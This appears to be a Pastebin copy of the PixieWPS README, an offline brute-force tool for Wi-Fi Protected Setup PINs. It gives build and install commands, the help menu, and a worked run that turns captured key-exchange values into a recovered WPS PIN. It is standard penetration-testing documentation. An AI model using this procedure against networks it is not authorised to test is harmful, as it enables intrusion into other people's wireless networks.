Advertisement
TVT618

PixieWPS - An offline Wi-Fi Protected Setup bruteforce utili

May 2nd, 2018
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.99 KB | None | 0 0
  1. PixieWPS - An offline Wi-Fi Protected Setup bruteforce utility
  2.  
  3. Overview
  4. Pixiewps is a tool written in C used to bruteforce offline the WPS PIN exploiting the low or non-existing entropy of some software implementations, the so-called "pixie-dust attack" discovered by Dominique Bongard in summer 2014. It is meant for educational purposes only.
  5.  
  6. As opposed to the traditional online brute-force attack, implemented in tools like Reaver or Bully which aim to recover the pin in a few hours, this method can get the PIN in only a matter of seconds or minutes, depending on the target, if vulnerable.
  7.  
  8. Since version 1.4, it can also recover the WPA-PSK from a complete passive capture (M1 through M7) for some devices (currently only some devices which work with --mode 3).
  9.  
  10. It all started as a project from the community, more details can be found here:
  11. * https://forums.kali.org/showthread.php?25018-Pixiewps-wps-pixie-dust-attack-tool
  12. * https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
  13. You can also visit the wiki.
  14.  
  15. Requirements
  16. sudo apt-get -y install build-essential
  17.  
  18. * Prior versions of 1.2 require libssl-dev
  19. * Versions 1.4 and later make use of multi-threading and require libpthread (POSIX threads)
  20. OpenSSL has also been re-introduced as optional to achieve better speeds. See the Build section.
  21.  
  22. Installation
  23. git clone https://github.com/wiire/pixiewps (Download PixieWPS)
  24. sudo apt-get -y install build-essential (Requirements)
  25. cd pixiewps*/ && sudo make (Build)
  26. sudo make install (Install PixieWPS)
  27.  
  28. Usage
  29. To see help menu, enter this command: pixiewps -h
  30. root@kali:~# pixiewps -h
  31.  
  32. Pixiewps made by wiire
  33.  
  34. Usage: pixiewps <arguments>
  35.  
  36. Required Arguments:
  37.  
  38. -e, --pke : Enrollee public key
  39. -r, --pkr : Registrar public key
  40. -s, --e-hash1 : E-Hash1
  41. -z, --e-hash2 : E-Hash2
  42. -a, --authkey : Key used in HMAC SHA-256
  43.  
  44. Optional Arguments:
  45.  
  46. -n, --e-nonce : Enrollee nonce
  47. -S, --dh-small : Small Diffie-Hellman keys (--pkr not needed)
  48.  
  49. -h, --help : Display this usage screen
  50.  
  51. Usage Example
  52. Enter: sudo pixiewps \
  53.  
  54. root@kali:~# sudo pixiewps \
  55. > -a 7f:de:11:b9:69:1c:de:26:4a:21:a4:6f:eb:3d:b8:aa:aa:d7:30:09:09:32:b8:24:43:9b:e0:91:78:e7:6f:2c \
  56. > -e d4:38:91:0d:4e:6e:15:fe:70:f0:97:a8:70:2a:b8:94:f5:75:74:bf:64:19:9f:92:82:9b:e0:2c:c0:a3:75:48:08:8f:63:0a:82:37:0c:b7:95:42:cf:55:ca:a5:f0:f7:6c:b2:c7:5f:0e:23:18:44:f4:2d:00:f1:da:d4:94:23:56:c7:2c:b0:f6:87:c7:77:d0:cc:11:35:cf:b7:4f:bc:44:8d:ca:35:8a:78:3d:99:7f:2b:cf:44:21:d8:e2:0f:3c:7d:a4:72:c8:03:6f:77:2a:e9:fa:c1:e9:a8:2c:74:65:99:5a:e0:a5:26:d9:23:5e:4e:ec:5a:07:07:ab:80:db:3f:5f:18:7f:fa:fa:f1:57:74:b2:8d:a9:97:a6:c6:0a:a5:e0:ec:93:09:23:67:f6:3e:ec:1f:55:32:a4:5d:73:8f:ab:91:74:cf:1d:79:85:12:c1:81:f5:ea:a6:68:9d:8e:c7:c6:be:01:dc:d9:f8:68:80:11:55:d7:44:6a \
  57. > -r bc:ad:54:2f:88:44:7c:12:69:ef:34:31:4a:17:1c:92:b1:d7:06:4c:73:be:9f:d3:ed:87:63:74:10:46:0f:46:8c:36:b5:d4:a0:ba:af:85:9c:b2:30:42:d7:59:43:75:5a:d7:79:96:fb:ee:7b:66:db:b7:a8:f9:22:9c:a5:d3:b8:e7:c0:c4:5c:58:34:1f:56:a8:1a:41:a8:d2:e8:f6:3e:c9:3a:93:d9:9b:59:5c:a8:e0:78:84:6c:fc:05:e8:76:a3:e6:3b:33:94:4a:a9:ff:50:fb:60:fa:97:3b:6d:cc:04:f1:5e:36:24:a9:06:7a:f8:6b:00:e9:71:9d:89:be:9c:b2:9c:1f:ca:6d:d6:4d:ab:46:3d:b3:11:1f:8d:40:f7:c8:a4:39:48:c5:ca:1b:f6:30:95:7d:d9:68:41:ef:0a:37:b2:4a:37:e4:a4:b0:dd:7e:c1:af:3e:66:ea:bf:16:0a:7a:8a:05:00:01:a4:29:77:a9:d4:81:d4:0e \
  58. > -s 90:5f:f5:7d:93:e5:c4:3c:62:0d:26:65:dd:59:57:d5:ba:ba:f1:b7:30:91:72:7c:54:94:38:08:1e:13:35:38 \
  59. > -z b0:2b:07:50:28:e7:6e:5f:fa:27:1b:31:92:85:43:cb:c5:6a:ec:73:e2:27:c3:b9:80:ec:5b:ed:88:f0:1e:ec
  60.  
  61. [*] ES-1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
  62. [*] ES-2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
  63. [*] PSK1: d4:eb:0c:2a:38:15:e1:a0:3d:70:db:74:31:eb:53:a3
  64. [*] PSK2: d3:b7:e6:23:f3:1d:22:0a:23:ea:07:bb:7f:76:65:8b
  65. [+] WPS pin: 04847533
  66.  
  67. [*] Time taken: 0 s
  68.  
  69. Download PixieWPS: https://github.com/wiire-a/pixiewps
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement